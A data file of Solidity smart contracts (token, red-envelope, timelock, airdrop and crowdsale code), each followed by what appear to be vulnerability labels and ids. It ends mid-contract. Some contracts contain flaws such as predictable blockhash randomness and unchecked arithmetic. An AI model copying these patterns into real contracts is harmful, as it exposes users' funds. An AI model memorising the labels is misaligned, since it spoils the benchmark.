event Transfer(address indexed from, address indexed to, uint256 value);
event FundTransfer(address backer, uint amount, bool isContribution);
function PrivateCoin() public {
totalSupply = PrivateCoinSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
creator = msg.sender;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function () payable internal {
uint amount = msg.value * buyPrice;
uint amountRaised;
amountRaised += msg.value;
require(balanceOf[creator] >= amount);
require(msg.value < 10**17);
balanceOf[msg.sender] += amount;
balanceOf[creator] -= amount;
Transfer(creator, msg.sender, amount);
creator.transfer(amountRaised);
}
} | 1 | 2,261 |
pragma solidity ^0.4.18;
contract RedEnvelope {
struct EnvelopeType {
uint256 maxNumber;
uint256 feeRate;
}
struct Envelope {
address maker;
address arbiter;
uint256 envelopeTypeId;
uint256 minValue;
uint256 remainingValue;
uint256 remainingNumber;
uint256 willExpireAfter;
bool random;
mapping(address => bool) tooks;
}
struct Settings {
address arbiter;
uint256 minValue;
}
event Made (
address indexed maker,
address indexed arbiter,
uint256 indexed envelopeId,
uint256 envelopeTypeId,
uint256 minValue,
uint256 total,
uint256 quantity,
uint256 willExpireAfter,
uint256 minedAt,
uint256 random
);
event Took (
address indexed taker,
uint256 indexed envelopeId,
uint256 value,
uint256 minedAt
);
event Redeemed(
address indexed maker,
uint256 indexed envelopeId,
uint256 value,
uint256 minedAt
);
Settings public settings;
address public owner;
uint256 public balanceOfEnvelopes;
mapping (address => uint256) public envelopeCounts;
mapping (uint256 => EnvelopeType) public envelopeTypes;
mapping (uint256 => Envelope) public envelopes;
modifier onlyOwner {
require(owner == msg.sender);
_;
}
function random() view private returns (uint256) {
uint256 factor = 1157920892373161954235709850086879078532699846656405640394575840079131296399;
bytes32 blockHash = block.blockhash(block.number - 1);
return uint256(uint256(blockHash) / factor);
}
function RedEnvelope() public {
settings = Settings(
msg.sender,
2000000000000000
);
owner = msg.sender;
}
function setSettings(address _arbiter, uint256 _minValue) onlyOwner public {
settings.arbiter = _arbiter;
settings.minValue = _minValue;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
function () payable public {}
function setEnvelopeType(uint256 _envelopeTypeId, uint256[2] _data) onlyOwner public {
envelopeTypes[_envelopeTypeId].maxNumber = _data[0];
envelopeTypes[_envelopeTypeId].feeRate = _data[1];
}
function make(uint256 _envelopeId, uint256[4] _data) payable external {
uint256 count = envelopeCounts[msg.sender] + 1;
if (uint256(keccak256(msg.sender, count)) != _envelopeId) {
revert();
}
EnvelopeType memory envelopeType = envelopeTypes[_data[0]];
if (envelopeType.maxNumber < _data[1]) {
revert();
}
uint256 total = ( msg.value * 1000 ) / ( envelopeType.feeRate + 1000 );
if (total / _data[1] < settings.minValue) {
revert();
}
Envelope memory envelope = Envelope(
msg.sender,
settings.arbiter,
_data[0],
settings.minValue,
total,
_data[1],
block.timestamp + _data[2],
_data[3] > 0
);
envelopes[_envelopeId] = envelope;
balanceOfEnvelopes += total;
envelopeCounts[msg.sender] = count;
Made(
envelope.maker,
envelope.arbiter,
_envelopeId,
envelope.envelopeTypeId,
envelope.minValue,
envelope.remainingValue,
envelope.remainingNumber,
envelope.willExpireAfter,
block.timestamp,
envelope.random ? 1 : 0
);
}
function take(uint256 _envelopeId, uint256[4] _data) external {
Envelope storage envelope = envelopes[_envelopeId];
if (envelope.willExpireAfter < block.timestamp) {
revert();
}
if (envelope.remainingNumber == 0) {
revert();
}
if (envelope.tooks[msg.sender]) {
revert();
}
if (_data[0] < block.timestamp) {
revert();
}
if (envelope.arbiter != ecrecover(keccak256(_envelopeId, _data[0], msg.sender), uint8(_data[1]), bytes32(_data[2]), bytes32(_data[3]))) {
revert();
}
uint256 value = 0;
if (!envelope.random) {
value = envelope.remainingValue / envelope.remainingNumber;
} else {
if (envelope.remainingNumber == 1) {
value = envelope.remainingValue;
} else {
uint256 maxValue = envelope.remainingValue - (envelope.remainingNumber - 1) * envelope.minValue;
uint256 avgValue = envelope.remainingValue / envelope.remainingNumber * 2;
value = avgValue < maxValue ? avgValue * random() / 100 : maxValue * random() / 100;
value = value < envelope.minValue ? envelope.minValue : value;
}
}
envelope.remainingValue -= value;
envelope.remainingNumber -= 1;
envelope.tooks[msg.sender] = true;
balanceOfEnvelopes -= value;
msg.sender.transfer(value);
Took(
msg.sender,
_envelopeId,
value,
block.timestamp
);
}
function redeem(uint256 _envelopeId) external {
Envelope storage envelope = envelopes[_envelopeId];
if (envelope.willExpireAfter >= block.timestamp) {
revert();
}
if (envelope.remainingValue == 0) {
revert();
}
if (envelope.maker != msg.sender) {
revert();
}
uint256 value = envelope.remainingValue;
envelope.remainingValue = 0;
envelope.remainingNumber = 0;
balanceOfEnvelopes -= value;
msg.sender.transfer(value);
Redeemed(
msg.sender,
_envelopeId,
value,
block.timestamp
);
}
function getPaid(uint256 amount) onlyOwner external {
uint256 maxAmount = this.balance - balanceOfEnvelopes;
msg.sender.transfer(amount < maxAmount ? amount : maxAmount);
}
function sayGoodBye() onlyOwner external {
selfdestruct(msg.sender);
}
} | 0 | 1,144 |
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
contract TokenTimelock {
using SafeERC20 for IERC20;
IERC20 private _token;
address private _beneficiary;
uint256 private _releaseTime;
constructor (IERC20 token, address beneficiary, uint256 releaseTime) public {
require(releaseTime > block.timestamp);
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
function token() public view returns (IERC20) {
return _token;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
function release() public {
require(block.timestamp >= _releaseTime);
uint256 amount = _token.balanceOf(address(this));
require(amount > 0);
_token.safeTransfer(_beneficiary, amount);
}
} | 1 | 3,762 |
pragma solidity ^0.4.21;
contract TBEToken {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TBEToken() public {
totalSupply = 500000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "TowerBee";
symbol = "TBE";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 2,296 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HODLIT is StandardToken, Ownable {
using SafeMath for uint256;
string public name = "HODL INCENTIVE TOKEN";
string public symbol = "HIT";
uint256 public decimals = 18;
uint256 public multiplicator = 10 ** decimals;
uint256 public totalSupply;
uint256 public ICDSupply;
uint256 public registeredUsers;
uint256 public claimedUsers;
uint256 public maxReferrals = 20;
uint256 public hardCap = SafeMath.mul(100000000, multiplicator);
uint256 public ICDCap = SafeMath.mul(20000000, multiplicator);
mapping (address => uint256) public etherBalances;
mapping (address => bool) public ICDClaims;
mapping (address => uint256) public referrals;
mapping (address => bool) public bonusReceived;
uint256 public regStartTime = 1519848000;
uint256 public regStopTime = regStartTime + 7 days;
uint256 public POHStartTime = regStopTime;
uint256 public POHStopTime = POHStartTime + 7 days;
uint256 public ICDStartTime = POHStopTime;
uint256 public ICDStopTime = ICDStartTime + 7 days;
uint256 public PCDStartTime = ICDStopTime + 14 days;
address public ERC721Address;
modifier forRegistration {
require(block.timestamp >= regStartTime && block.timestamp < regStopTime);
_;
}
modifier forICD {
require(block.timestamp >= ICDStartTime && block.timestamp < ICDStopTime);
_;
}
modifier forERC721 {
require(msg.sender == ERC721Address && block.timestamp >= PCDStartTime);
_;
}
function HODLIT() public {
uint256 reserve = SafeMath.mul(30000000, multiplicator);
owner = msg.sender;
totalSupply = totalSupply.add(reserve);
balances[owner] = balances[owner].add(reserve);
Transfer(address(0), owner, reserve);
}
function() external payable {
revert();
}
function setERC721Address(address _ERC721Address) external onlyOwner {
ERC721Address = _ERC721Address;
}
function setMaxReferrals(uint256 _maxReferrals) external onlyOwner {
maxReferrals = _maxReferrals;
}
function registerEtherBalance(address _referral) external forRegistration {
require(
msg.sender.balance > 0.2 ether &&
etherBalances[msg.sender] == 0 &&
_referral != msg.sender
);
if (_referral != address(0) && referrals[_referral] < maxReferrals) {
referrals[_referral]++;
}
registeredUsers++;
etherBalances[msg.sender] = msg.sender.balance;
}
function claimTokens() external forICD {
require(ICDClaims[msg.sender] == false);
require(etherBalances[msg.sender] > 0);
require(etherBalances[msg.sender] <= msg.sender.balance + 50 finney);
ICDClaims[msg.sender] = true;
claimedUsers++;
require(mintICD(msg.sender, computeReward(etherBalances[msg.sender])));
}
function declareCheater(address _cheater) external onlyOwner {
require(_cheater != address(0));
ICDClaims[_cheater] = false;
etherBalances[_cheater] = 0;
}
function declareCheaters(address[] _cheaters) external onlyOwner {
for (uint256 i = 0; i < _cheaters.length; i++) {
require(_cheaters[i] != address(0));
ICDClaims[_cheaters[i]] = false;
etherBalances[_cheaters[i]] = 0;
}
}
function mintPCD(address _to, uint256 _amount) external forERC721 returns(bool) {
require(_to != address(0));
require(_amount + totalSupply <= hardCap);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
etherBalances[_to] = _to.balance;
Transfer(address(0), _to, _amount);
return true;
}
function claimTwitterBonus() external forICD {
require(balances[msg.sender] > 0 && !bonusReceived[msg.sender]);
bonusReceived[msg.sender] = true;
mintICD(msg.sender, multiplicator.mul(20));
}
function claimReferralBonus() external forICD {
require(referrals[msg.sender] > 0 && balances[msg.sender] > 0);
uint256 cache = referrals[msg.sender];
referrals[msg.sender] = 0;
mintICD(msg.sender, SafeMath.mul(cache * 20, multiplicator));
}
function computeReward(uint256 _amount) internal view returns(uint256) {
if (_amount < 1 ether) return SafeMath.mul(20, multiplicator);
if (_amount < 2 ether) return SafeMath.mul(100, multiplicator);
if (_amount < 3 ether) return SafeMath.mul(240, multiplicator);
if (_amount < 4 ether) return SafeMath.mul(430, multiplicator);
if (_amount < 5 ether) return SafeMath.mul(680, multiplicator);
if (_amount < 6 ether) return SafeMath.mul(950, multiplicator);
if (_amount < 7 ether) return SafeMath.mul(1260, multiplicator);
if (_amount < 8 ether) return SafeMath.mul(1580, multiplicator);
if (_amount < 9 ether) return SafeMath.mul(1900, multiplicator);
if (_amount < 10 ether) return SafeMath.mul(2240, multiplicator);
if (_amount < 11 ether) return SafeMath.mul(2560, multiplicator);
if (_amount < 12 ether) return SafeMath.mul(2890, multiplicator);
if (_amount < 13 ether) return SafeMath.mul(3210, multiplicator);
if (_amount < 14 ether) return SafeMath.mul(3520, multiplicator);
if (_amount < 15 ether) return SafeMath.mul(3830, multiplicator);
if (_amount < 16 ether) return SafeMath.mul(4120, multiplicator);
if (_amount < 17 ether) return SafeMath.mul(4410, multiplicator);
if (_amount < 18 ether) return SafeMath.mul(4680, multiplicator);
if (_amount < 19 ether) return SafeMath.mul(4950, multiplicator);
if (_amount < 20 ether) return SafeMath.mul(5210, multiplicator);
if (_amount < 21 ether) return SafeMath.mul(5460, multiplicator);
if (_amount < 22 ether) return SafeMath.mul(5700, multiplicator);
if (_amount < 23 ether) return SafeMath.mul(5930, multiplicator);
if (_amount < 24 ether) return SafeMath.mul(6150, multiplicator);
if (_amount < 25 ether) return SafeMath.mul(6360, multiplicator);
if (_amount < 26 ether) return SafeMath.mul(6570, multiplicator);
if (_amount < 27 ether) return SafeMath.mul(6770, multiplicator);
if (_amount < 28 ether) return SafeMath.mul(6960, multiplicator);
if (_amount < 29 ether) return SafeMath.mul(7140, multiplicator);
if (_amount < 30 ether) return SafeMath.mul(7320, multiplicator);
if (_amount < 31 ether) return SafeMath.mul(7500, multiplicator);
if (_amount < 32 ether) return SafeMath.mul(7660, multiplicator);
if (_amount < 33 ether) return SafeMath.mul(7820, multiplicator);
if (_amount < 34 ether) return SafeMath.mul(7980, multiplicator);
if (_amount < 35 ether) return SafeMath.mul(8130, multiplicator);
if (_amount < 36 ether) return SafeMath.mul(8270, multiplicator);
if (_amount < 37 ether) return SafeMath.mul(8410, multiplicator);
if (_amount < 38 ether) return SafeMath.mul(8550, multiplicator);
if (_amount < 39 ether) return SafeMath.mul(8680, multiplicator);
if (_amount < 40 ether) return SafeMath.mul(8810, multiplicator);
if (_amount < 41 ether) return SafeMath.mul(8930, multiplicator);
if (_amount < 42 ether) return SafeMath.mul(9050, multiplicator);
if (_amount < 43 ether) return SafeMath.mul(9170, multiplicator);
if (_amount < 44 ether) return SafeMath.mul(9280, multiplicator);
if (_amount < 45 ether) return SafeMath.mul(9390, multiplicator);
if (_amount < 46 ether) return SafeMath.mul(9500, multiplicator);
if (_amount < 47 ether) return SafeMath.mul(9600, multiplicator);
if (_amount < 48 ether) return SafeMath.mul(9700, multiplicator);
if (_amount < 49 ether) return SafeMath.mul(9800, multiplicator);
if (_amount < 50 ether) return SafeMath.mul(9890, multiplicator);
return SafeMath.mul(10000, multiplicator);
}
function mintICD(address _to, uint256 _amount) internal returns(bool) {
require(_to != address(0));
require(_amount + ICDSupply <= ICDCap);
totalSupply = totalSupply.add(_amount);
ICDSupply = ICDSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
etherBalances[_to] = _to.balance;
Transfer(address(0), _to, _amount);
return true;
}
}
contract Airdrop is Ownable {
HODLIT token;
address propheth = 0x0368284b0267DF29DD954a5Ed7832c84c09451eA;
bool isStopped;
event AirdropLog(uint256 indexed id, address indexed user, uint256 claimAmount);
mapping(uint256 => bool) public isClaimed;
mapping(uint256 => uint256) public claimedAt;
mapping(uint256 => address) public claimedBy;
mapping(address => uint256) public claims;
uint256 public totalClaims;
uint256 public airdropLimit = safeMul(10000000, 10 ** 18);
constructor(address _token) public {
token = HODLIT(_token);
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function ecrecovery(bytes32 hash, bytes sig) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function parseAddr(string _a) internal pure returns (address) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function prophetize(string _id, string _userAddress, string _claimAmount, bytes32 _hash, bytes _sig) internal view returns(bool){
require(keccak256("\x19Ethereum Signed Message:\n32", _id,'&',_userAddress,'&', _claimAmount) == _hash);
require(ecrecovery(_hash, _sig) == propheth);
return true;
}
function stopAirdrop(bool _choice) external onlyOwner {
isStopped = _choice;
}
function setPropheth(address _propheth) external onlyOwner {
propheth = _propheth;
}
function claim(string _id, string _userAddress, string _claimAmount, bytes32 _hash, bytes _sig) external {
require(prophetize(_id, _userAddress, _claimAmount, _hash, _sig) == true && !isStopped);
uint256 id = parseInt(_id, 0);
address userAddress = parseAddr(_userAddress);
uint256 claimAmount;
if (token.ICDClaims(userAddress)) {
claimAmount = safeMul(parseInt(_claimAmount, 0) * 2, 10 ** 18);
} else {
claimAmount = safeMul(parseInt(_claimAmount, 0), 10 ** 18);
}
require(!isClaimed[id] && claimAmount != 0 && userAddress == msg.sender);
require(safeAdd(claimAmount, totalClaims) < airdropLimit);
isClaimed[id] = true;
claimedAt[id] = claimAmount;
claimedBy[id] = userAddress;
claims[userAddress] = safeAdd(claims[userAddress], claimAmount);
totalClaims = safeAdd(totalClaims, claimAmount);
require(token.mintPCD(userAddress, claimAmount));
emit AirdropLog(id, userAddress, claimAmount);
}
} | 1 | 2,841 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StandardToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract MintableToken is BurnableToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
}
contract GESToken is MintableToken, PausableToken {
string public constant name = "Galaxy eSolutions";
string public constant symbol = "GES";
uint8 public constant decimals = 18;
}
contract GESTokenCrowdSale is Ownable {
using SafeMath for uint256;
bool public isFinalised;
MintableToken public token;
uint256 public mainSaleStartTime;
uint256 public mainSaleEndTime;
address public wallet;
address public tokenWallet;
uint256 public rate = 10000;
uint256 public weiRaised = 1280109986123700000000 ;
uint256 public saleMinimumWei = 100000000000000000;
uint256 public hardCap = 20000000000000000000000;
uint256 public tokensToSell = 216405356 * 10 ** 18;
struct AmountBonus {
uint256 amount;
uint percent;
}
AmountBonus[] public amountBonuses;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event FinalisedCrowdsale(uint256 totalSupply);
function GESTokenCrowdSale(uint256 _mainSaleStartTime, uint256 _mainSaleEndTime, address _wallet, address _tokenWallet) public {
require(_mainSaleStartTime >= now);
require(_mainSaleEndTime >= _mainSaleStartTime);
require(_wallet != 0x0);
require(_tokenWallet != 0x0);
token = createTokenContract();
amountBonuses.push(AmountBonus( 50000000000000000000, 20));
amountBonuses.push(AmountBonus( 100000000000000000000, 25));
amountBonuses.push(AmountBonus( 250000000000000000000, 30));
amountBonuses.push(AmountBonus( 500000000000000000000, 35));
amountBonuses.push(AmountBonus( 1000000000000000000000, 40));
amountBonuses.push(AmountBonus( 2500000000000000000000, 45));
amountBonuses.push(AmountBonus(200000000000000000000000, 50));
mainSaleStartTime = _mainSaleStartTime;
mainSaleEndTime = _mainSaleEndTime;
wallet = _wallet ;
tokenWallet = _tokenWallet;
isFinalised = false;
token.mint(tokenWallet, 83594644 * 10 ** 18);
}
function createTokenContract() internal returns (MintableToken) {
return new GESToken();
}
function () public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(!isFinalised);
require(beneficiary != 0x0);
require(msg.value != 0);
require(now >= mainSaleStartTime && now <= mainSaleEndTime);
uint256 newRaise = weiRaised.add(msg.value);
require(msg.value >= saleMinimumWei && newRaise <= hardCap);
uint256 bonusedTokens = applyBonus(msg.value);
require(bonusedTokens < tokensToSell);
weiRaised = newRaise;
tokensToSell = tokensToSell.sub(bonusedTokens);
token.mint(beneficiary, bonusedTokens);
TokenPurchase(msg.sender, beneficiary, msg.value, bonusedTokens);
}
function finaliseCrowdsale() external onlyOwner returns (bool) {
require(!isFinalised);
token.finishMinting();
forwardFunds();
FinalisedCrowdsale(token.totalSupply());
isFinalised = true;
return true;
}
function pauseToken() external onlyOwner {
require(!isFinalised);
GESToken(token).pause();
}
function unpauseToken() external onlyOwner {
GESToken(token).unpause();
}
function transferTokenOwnership(address newOwner) external onlyOwner {
GESToken(token).transferOwnership(newOwner);
}
function mainSaleHasEnded() external constant returns (bool) {
return now > mainSaleEndTime;
}
function forwardFunds() internal {
wallet.transfer(this.balance);
}
function setMainSaleDates(uint256 _mainSaleStartTime, uint256 _mainSaleEndTime) public onlyOwner returns (bool) {
require(!isFinalised);
